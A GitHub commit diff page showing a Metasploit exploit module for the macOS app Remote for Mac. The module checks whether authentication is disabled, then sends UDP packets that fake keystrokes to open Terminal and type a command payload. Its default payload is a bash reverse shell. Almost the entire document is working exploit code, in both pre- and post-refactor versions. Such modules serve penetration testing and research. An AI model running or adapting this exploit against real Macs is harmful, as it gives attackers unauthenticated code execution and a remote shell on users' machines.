Skip to content

Commit 0197ea2

Browse files
committed
Code rebase, fixing according to the comments
1 parent a687121 commit 0197ea2

File tree

1 file changed

+41
-67
lines changed

1 file changed

+41
-67
lines changed

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

Lines changed: 41 additions & 67 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote
55
Rank = ExcellentRanking
66

77
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Exploit::Remote::Udp
89

910
def initialize(info = {})
1011
super(
@@ -16,79 +17,54 @@ def initialize(info = {})
1617
When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets
1718
without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute
1819
arbitrary shell commands, achieving code execution as the current user.
19-
20-
Tested on macOS Mojave and Ventura.
2120
},
2221
'Author' => ['Chokri Hammedi'],
2322
'License' => MSF_LICENSE,
2423
'References' => [
2524
['URL', 'https://packetstorm.news/files/id/196351/']
2625
],
26+
'Platform' => 'unix',
27+
'Arch' => ARCH_CMD,
28+
'Targets' => [
29+
[
30+
'Unix Shell', {
31+
'Platform' => 'unix',
32+
'Arch' => ARCH_CMD
33+
}
34+
]
35+
],
36+
'DefaultTarget' => 0,
37+
'DefaultOptions' => {
38+
'SSL' => true
39+
},
40+
'DefaultPayload' => 'cmd/unix/reverse_bash',
41+
'DisclosureDate' => '2025-05-27',
2742
'Notes' => {
2843
'Stability' => [CRASH_SAFE],
2944
'Reliability' => [REPEATABLE_SESSION],
3045
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
31-
},
32-
'Platform' => ['unix','osx'],
33-
'Arch' => ARCH_CMD,
34-
'Targets' => [['Remote for Mac 2025.6', {}]],
35-
'DefaultTarget' => 0,
36-
'DefaultPayload' => 'cmd/unix/reverse_bash',
37-
'DisclosureDate' => '2025-05-27'
46+
}
3847
)
3948
)
40-
41-
register_options(
42-
[
43-
Opt::RHOSTS(),
44-
Opt::RPORT(49229),
45-
OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]),
46-
OptString.new('TARGETURI', [true, 'Base URI path', '/']),
47-
]
48-
)
4949
end
5050

51-
def check_auth_disabled?
52-
protocol = datastore['SSL'] ? 'https' : 'http'
53-
vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion")
54-
55-
begin
56-
res = send_request_cgi({
57-
'method' => 'GET',
58-
'uri' => normalize_uri(datastore['TARGETURI'], 'api', 'getVersion'),
59-
'ctype' => 'application/json',
60-
'ssl' => datastore['SSL'],
61-
'rport' => datastore['RPORT'],
62-
'rhost' => datastore['RHOSTS']
63-
})
64-
65-
if res&.code == 200
66-
json = JSON.parse(res.body)
67-
if json['requires.auth'] == false
68-
print_good('Authentication is disabled. Target is vulnerable.')
69-
return true
70-
else
71-
print_error('Authentication is enabled. Exploit aborted.')
72-
return false
73-
end
74-
else
75-
print_error('Unexpected response from target')
76-
return false
77-
end
78-
rescue ::Rex::ConnectionError, JSON::ParserError => e
79-
print_error("Connection or parsing error: #{e.message}")
80-
return false
81-
end
82-
end
51+
def check
52+
res = send_request_cgi({
53+
'method' => 'GET',
54+
'uri' => normalize_uri(target_uri.path, 'api', 'getVersion')
55+
})
8356

84-
def exploit
85-
unless check_auth_disabled?
86-
fail_with(Failure::NotVulnerable, 'Target requires authentication or is unreachable')
87-
end
57+
return CheckCode::Safe('Application might not be Remote For Mac') unless res&.code == 200
58+
59+
json_body = res.get_json_document
60+
auth_enabled = json_body.fetch('requires.auth', nil)
8861

89-
udp_port = datastore['RPORT']
90-
target_ip = datastore['RHOSTS']
62+
return CheckCode::Appears('Authentication is disabled, target is vulnerable') if auth_enabled == 'false'
9163

64+
CheckCode::Detected('Remote For Mac detected, but authentication enabled')
65+
end
66+
67+
def exploit
9268
initial_packets_hex = [
9369
'07000200370001',
9470
'07000200370001',
@@ -102,45 +78,43 @@ def exploit
10278
'07000200240000'
10379
]
10480

105-
udp_sock = UDPSocket.new
106-
udp_sock.connect(target_ip, udp_port)
81+
udp_sock = connect_udp
10782

10883
print_status('Simulating system keyboard input to open Terminal...')
10984
initial_packets_hex.each do |hexpkt|
110-
udp_sock.send([hexpkt].pack('H*'), 0)
85+
udp_sock.put([hexpkt].pack('H*'))
11186
select(nil, nil, nil, 0.05)
11287
end
11388

11489
prefix = [0x06, 0x00, 0x03, 0x00].pack('C*')
11590
'terminal'.each_char do |ch|
11691
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
117-
udp_sock.send(pkt, 0)
92+
udp_sock.put(pkt)
11893
select(nil, nil, nil, 0.1)
11994
end
12095

12196
final_packets_hex.each do |hexpkt|
122-
udp_sock.send([hexpkt].pack('H*'), 0)
123-
select(nil, nil, nil, 0.1)
97+
udp_sock.put([hexpkt].pack('H*'))
12498
end
12599

100+
print_status('Initial sequence finished, waiting for terminal to be spawned..')
101+
126102
sleep(2)
127103

128104
shell_cmd = payload.encoded
129105
print_status('Sending malicious payload to be executed...')
130106

131107
shell_cmd.each_char do |ch|
132108
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
133-
udp_sock.send(pkt, 0)
109+
udp_sock.put(pkt)
134110
select(nil, nil, nil, 0.1)
135111
end
136112

137113
final_packets_hex.each do |hexpkt|
138-
udp_sock.send([hexpkt].pack('H*'), 0)
139-
select(nil, nil, nil, 0.1)
114+
udp_sock.put([hexpkt].pack('H*'))
140115
end
141116

142117
print_good('Payload sent. Awaiting session...')
143-
ensure
144-
udp_sock.close if udp_sock
118+
disconnect_udp(udp_sock)
145119
end
146120
end

0 commit comments

Comments
 (0)